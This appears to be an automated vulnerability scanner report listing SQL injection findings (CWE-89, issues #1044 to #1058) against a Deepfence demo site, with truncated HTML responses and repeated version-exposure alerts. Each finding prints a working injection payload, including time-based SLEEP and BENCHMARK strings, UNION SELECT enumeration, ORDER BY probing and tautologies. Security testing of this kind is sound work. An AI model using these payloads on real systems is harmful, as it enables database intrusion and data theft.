language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1044
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) 
AND '%'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1045
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1046
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1047
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io OR 3409=3409 AND ('pytW' LIKE 'pytY
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1048
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io and (select substring(@@version,1,1))='X'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1049
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io benchmark(50000000,MD5(1))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1050
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io OR 3409=3409 AND ('pytW' LIKE 'pytW
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1051
SQL InjectionScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 7#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1052
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT NULL#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1053
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1054
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1055
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1056
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1057
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11--ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1058
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ") or benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
